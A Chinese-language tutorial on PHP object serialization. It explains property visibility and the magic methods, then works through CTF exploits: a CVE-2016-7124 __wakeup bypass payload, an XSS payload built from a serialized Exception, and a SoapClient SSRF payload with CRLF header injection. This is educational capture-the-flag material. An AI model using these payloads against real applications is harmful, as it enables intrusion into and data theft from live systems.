方法&属性-调用详解&变量数据详解

原生类的利用场景:无方法可以使用的情况。

对象变量属性:

public(公共的): 在本类内部、外部类、子类都可以访问
protect(受保护的): 只有本类或子类或父类中可以访问
private(私人的): 只有本类内部可以使用

序列化数据显示:

private属性序列化的时候格式是%00类名%00成员名

protect属性序列化的时候格式是%00*%00成员名

%00和%00*%00都是插入到数据的首末的

具体代码:

<?php
header("Content-type: text/html; charset=utf-8");
三种属性
/*public private protected说明
class test{
public $name="xiaodi";
private $age="29";
protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
*/

魔术方法

__construct和__destruct

1.创建触发__construct
2.强制删除和自动删除触发__destruct

/*__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct*/
class Test{
public $name;
public $age;
public $string;
// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct($name, $age, $string){
echo "__construct 初始化"."<br>";
$this->name = $name;
$this->age = $age;
$this->string = $string;
}
// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
/*
* 当对象销毁时会调用此方法
* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
*/
function __destruct(){
echo "__destruct 类执行完毕"."<br>";
}
}
// 主动销毁 unset
$test = new Test("Spaceman",566, 'Test String');
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';
// 程序结束自动销毁
$test = new test("Spaceman",566, 'Test String');
echo '第二种执行完毕'.'<br>';

__toString输出调用

__toString():在对象当做字符串的时候会被调用
class Test
{
public $variable = 'This is a string';

public function good(){
echo $this->variable . '<br />';
}

// 在对象当做字符串的时候会被调用
public function __toString()
{
return '__toString <br>';
}
}

$a = new Test();
$a->good();
//输出调用
# 输出的是上面的__toString <br>
echo $a;

__CALL

/*__CALL 魔术方法 调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。*/
class Test{

public function good($number,$string){
echo '存在good方法'.'<br>';
echo $number.'---------'.$string.'<br>';
}

// 当调用类中不存在的方法时,就会调用__call();
// 数据数组 方法名(那个错误的方法)
public function __call($method,$args){
echo '不存在'.$method.'方法'.'<br>';
var_dump($args);
}
}

$a = new Test();
$a->good(566,'nice');
$b = new Test();
$b->spaceman(899,'no');

__get()

/*__get() 魔术方法 
读取一个对象的属性时,若属性存在,则直接返回属性值;
若不存在,则会调用__get函数*/

class Test {
public $n=123;

// __get():访问不存在的成员变量时调用
public function __get($name){
echo '__get 不存在成员变量'.$name.'<br>';
}
}

$a = new Test();
// 存在成员变量n,所以不调用__get
echo $a->n;
echo '<br>';
// 不存在成员变量spaceman,所以调用__get
echo $a->spaceman;

__set()

/*__set()魔术方法 
设置一个对象的属性时,
若属性存在,则直接赋值;
若不存在,则会调用__set函数。*/

class Test{
public $data = 100;
protected $noway=0;

// __set():设置对象不存在的属性或无法访问(私有)的属性时调用
/* __set($name, $value)
* 用来为私有成员属性设置的值
* 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
*/
public function __set($name,$value){
echo '__set 不存在成员变量 '.$name.'<br>';
echo '即将设置的值 '.$value."<br>";
$this->noway=$value;
}

public function Get(){
echo $this->noway;
}
}

$a = new Test();
// 读取 noway 的值,初始为0
$a->Get();
echo '<br>';
// 无法访问(私有)noway属性时调用,并设置值为899
$a->noway = 899;
// 经过__set方法的设置noway的值为899
$a->Get();
echo '<br>';
// 设置对象不存在的属性spaceman
$a->spaceman = 566;
// 经过__set方法的设置noway的值为566
$a->Get();

__sleep()

/*__sleep():在serialize被调用之前被调用,可以指定要序列化的对象属性。*/
class Test{
public $name;
public $age;
public $string;

// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct($name, $age, $string){
echo "__construct 初始化"."<br>";
$this->name = $name;
$this->age = $age;
$this->string = $string;
}

// __sleep() :serialize之前被调用,可以指定要序列化的对象属性
public function __sleep(){
echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
// 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
return array('name', 'age');
}
}

$a = new Test("Spaceman",566, 'Test String');
echo serialize($a);

__wakeup()

/*__wakeup:反序列化unserialize()恢复对象之前调用该方法*/
class Test{
public $sex;
public $name;
public $age;

public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}

public function __wakeup(){
echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
$this->age = 566;
}
}

$person = new Test('spaceman',21,'男');
$a = serialize($person);
echo $a."<br>";
var_dump (unserialize($a));

__isset()

/*__isset(): 检测对象的某个属性是否存在时执行此函数。
当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用*/
class Person{
public $sex;
private $name;
private $age;

public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}

// __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
public function __isset($content){
echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
return isset($this->$content);
}
}

$person = new Person("spaceman", 25,'男');
// public 成员
echo ($person->sex),"<br>";
// private 成员
echo isset($person->name);

__unset()

/*__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数*/
class Person{
public $sex;
private $name;
private $age;

public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}

// __unset():销毁对象的某个属性时执行此函数
public function __unset($content) {
echo "当在类外部使用unset()函数来删除私有成员时自动调用的<br>";
echo isset($this->$content)."<br>";
}
}

$person = new Person("spaceman", 21,"男"); // 初始赋值
echo "666666<br>";
unset($person->name);//调用 属性私有
unset($person->age);//调用 属性私有
unset($person->sex);//不调用 属性共有

__INVOKE()

/*__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。*/
class Test{
// _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
public function __invoke($param1, $param2, $param3)
{
echo "这是一个对象<br>";
var_dump($param1,$param2,$param3);
}
}

$a = new Test();
$a('spaceman',21,'男');

?>

实战

CTF-语言漏洞-__wakeup()方法绕过

 __construct __destruct[极客大挑战 2019] PHP 

漏洞编号:CVE-2016-7124
题目制约:如果存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,
但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
漏洞点:
影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10
漏洞原因:如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

整体思路:
1、下载源码(www.zip)分析,触发flag条件
2、分析会触发调用__wakeup 强制username值
3、利用语言漏洞绕过 CVE-2016-7124
4、构造payload后 修改满足漏洞条件触发

源码(修改过):
class Name
{
private $username = 'admin';
private $password = '100';

public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}

// 强制在反序列化函数执行时,替换值为guest
function __wakeup()
{
$this->username = 'guest';
}

function __destruct()
{
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;
echo "</br>";
echo "You password is: ";
echo $this->password;
echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
} else {
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}


Pyload:
生成payload的方式很简单,使用上面类,去掉所有的方法
只剩下两个变量,序列化并且url编码后,把对象O指定的数字2(元素个数)改为3即可
?select=O%3A4%3A"Name"%3A3%3A%7Bs%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bi%3A100%3B%7D

CTF-方法原生类-获取&利用&配合其他★★★

参考案例:https://www.anquanke.com/post/id/264823

  • PHP有那些原生类-见脚本使用
  • 常见使用的原生类-见参考案例
  • 原生类该怎么使用-见官方说明
0、生成原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}

本地Demo-xss

这本身是一道赛题。

<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>
  • 输出对象可调用__toString
  • 无代码通过原生类Exception
  • Exception使用查询编写利用
  • 通过访问触发输出产生XSS漏洞
<?php
$a=new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>

CTFSHOW-259

  • 不存在的方法触发__call
  • 无代码通过原生类SoapClient
  • SoapClient使用查询编写利用
  • 通过访问本地Flag.php获取Flag
<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>

payload:
vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D